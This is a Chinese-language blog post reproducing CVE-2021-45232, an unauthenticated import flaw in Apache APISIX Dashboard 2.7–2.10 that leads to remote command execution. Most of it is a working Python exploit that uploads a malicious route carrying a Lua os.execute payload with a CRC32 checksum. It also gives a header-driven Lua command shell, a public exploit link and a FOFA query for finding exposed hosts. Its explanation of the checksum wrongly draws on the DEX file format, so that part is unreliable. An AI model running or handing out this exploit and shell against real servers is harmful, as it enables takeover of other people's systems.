CVE-2021-45232 Apache APISIX 从未授权访问到RCE

0x01漏洞环境

Apache APISIX Dashboard 2.7 - 2.10 版本受到影响

通过git拉取在docker搭建环境

git clone https://github.com/apache/apisix-docker

 

注意这里需要把yml文件改成2.7版本

 

 

 然后用docker搭建就可以了

 

 

0x02 攻击过程

 

环境跑起来后成功访问到9000登录界面

 

 

 

这里的未授权访问指的是对下面两个接口没有鉴权处理

/apisix/admin/migrate/export  
/apisix/admin/migrate/import 

 

用burp抓个包,访问export接口,可以看到返回了路由信息

 

 

 

 

这里不光光能返回路由的配置信息,还能import导入路由配置,

首先它的返回路由信息是一个Json,(因为这里的路由配置的script部分是我在复现的时候import的payload)

 

 

 

 

 

我们可以在官方文档里看到这些属性的作用

官方文档

 

 

 

 

 

如果我们在后台直接添加带有payload的路由配置,看看它会不会执行命令

 

 

 

直接访问创建的接口emlknW,这里需要访问管理端口9080,不是9000

 

 

 

可以看到成功挂载了 852文件,命令执行成功

 

 

 

那么要如何通过访问import接口来给他导入配置呢?

 

0x03 漏洞分析

 

通过参考网上别人的分析,因为是go语言 没学过就不多分析了

后端代码就是未对两个接口访问做鉴权,然后我们可以通过export得到的路由配置

自己构造一个恶意的路由配置,这里命令执行在script属性里面,然后通过构造好的配置import到里面去。

看代码分析知道可以有修改或者新建路由配置来完成。

 

 

关键的一点这里传入的配置需要计算文件的checksum

简答了解一下:

checksum(校验和)是DEX位于文件头部的一个信息,用来判断DEX文件是否损坏或者被篡改,它位于头部的0x08偏移地址处,占用4个字节,采用小端序存储。

 

这里给出朋友改的代码:

import random, string, json, zlib, requests

"""
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce,来替换'cmd'部分来执行命令
"""

eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "os.execute('touch /tmp/mytest')",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


# 将数据进行checksum
def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def import_apix(url, data):
    data = json.dumps(data).encode()  # 将数据进行转换为json存储到文件中,后面需要以文件上传
    checksum = calc_crc(data)  # 进行checksum ,然后添加到数据后面

    files = {"file": ("data", data + checksum, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
    # proxies=proxies 这里是通过post去发包,走代理proxies
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


"""
这里定义的proxies为本地代理,这样运行时候就能用burp抓包了
"""
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080"
}


# 生成一个随机路径
def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


if __name__ == '__main__':

    uri = random_str()
    print(uri)
    eval_config["Routes"][0]["uris"] = ["/" + uri]
    eval_config["Routes"][0]["name"] = uri
    print(eval_config, end='\n')
    if import_apix('http://192.168.255.128:9000', eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

 

我们运行抓包看看,后面这个应该就是+上的checksum了,可以看到成功导入了配置

 

 

我们在py里输出了随机生成的命名uri

 

 

 

 

直接去访问该API

 

 

 

 

回到环境看看,成功RCE了

 

 

 

 

在github上有大佬写的是带回显的可以执行多次命令的接口配置,可以看看

https://github.com/wuppp/cve-2021-45232-exp#readme

 

代码关键就是

 "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
           

我的理解是 这是通过lua语言写的通过读取请求头带上的cmd: rce,来替换'cmd'部分来执行命令

 

所以import这种配置成功后,就可以这样执行命令了

 

 

 

 

 

 不得不说这更加有持久性 evil~

 

在fofa里面可以这样来搜索,使用该组件的主机

title="Apache APISIX Dashboard"

 

0x04 修复方案

更新到最新版本,新版本代理做了鉴权处理

 

参考:

https://www.cnblogs.com/xiaozhi789/articles/15763472.html

 

posted @ 2022-01-05 14:55  Erichas  阅读(1481)  评论(0编辑  收藏  举报